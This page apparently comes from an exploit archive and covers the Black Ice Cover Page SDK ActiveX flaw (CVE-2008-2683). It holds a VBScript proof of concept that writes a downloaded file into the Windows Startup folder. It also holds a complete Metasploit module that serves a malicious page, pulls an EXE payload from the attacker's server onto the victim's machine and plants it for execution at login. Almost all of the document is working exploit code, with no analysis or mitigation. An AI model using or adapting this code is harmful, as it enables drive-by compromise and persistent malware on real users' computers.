ExploitFixes
Black Ice Cover Page SDK insecure method DownloadImageFileURL() exploit - [CVE: 2008-2683] 2011-06-20 10:15:09

<html>
Blackice Cover Page SDK insecure method DownloadImageFileURL() exploit
<!--
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
vendor: http://www.blackice.com/
software link: http://www.blackice.com/DownloadForms/downloadformimp.asp?product=Cover+Page+Generator
-->

<object classid='clsid:79956462-F148-497F-B247-DF35A095F80B' id='target' ></object>
<script language='vbscript'>

arg1="http://www.google.com/robots.txt"
arg2="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\robots.txt"

target.DownloadImageFileURL arg1 ,arg2
</script>
</html>

# MSF Module
##
# $Id: blackice_coverpage_download.rb 12540 2011-06-20 20:43:19Z mr_me $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
:vuln_test => nil,
})

def initialize(info = {})
super(update_info(info,
'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file system
by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX Control (BIImgFrm.ocx 12.0.0.0).
},
'License' => MSF_LICENSE,
'Author' => [ 'mr_me' ],
'Version' => '$Revision: 12540 $',
'References' =>
[
[ 'CVE', '?'],
[ 'OSVDB', '?'],
[ 'URL', '?' ],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 20 2011'))

register_options(
[
OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\']),
], self.class)
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)

payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end

# random junk
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(20) + 1)
clsid = "79956462-F148-497F-B247-DF35A095F80B"
blackice = rand_text_alpha(rand(100) + 1)
method = "DownloadImageFileURL"
arg1 = rand_text_alpha(rand(100) + 1)
arg2 = rand_text_alpha(rand(100) + 1)

content = <<-EOS
<html>
<object classid='clsid:#{clsid}' id='#{blackice}' ></object>
<script language='vbscript'>
#{arg1} = "#{payload_url}"
#{arg2} = "#{datastore['PATH']}#{exe}.exe"
#{blackice}.#{method} #{arg1}, #{arg2}
</script>
</html>
EOS

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end

end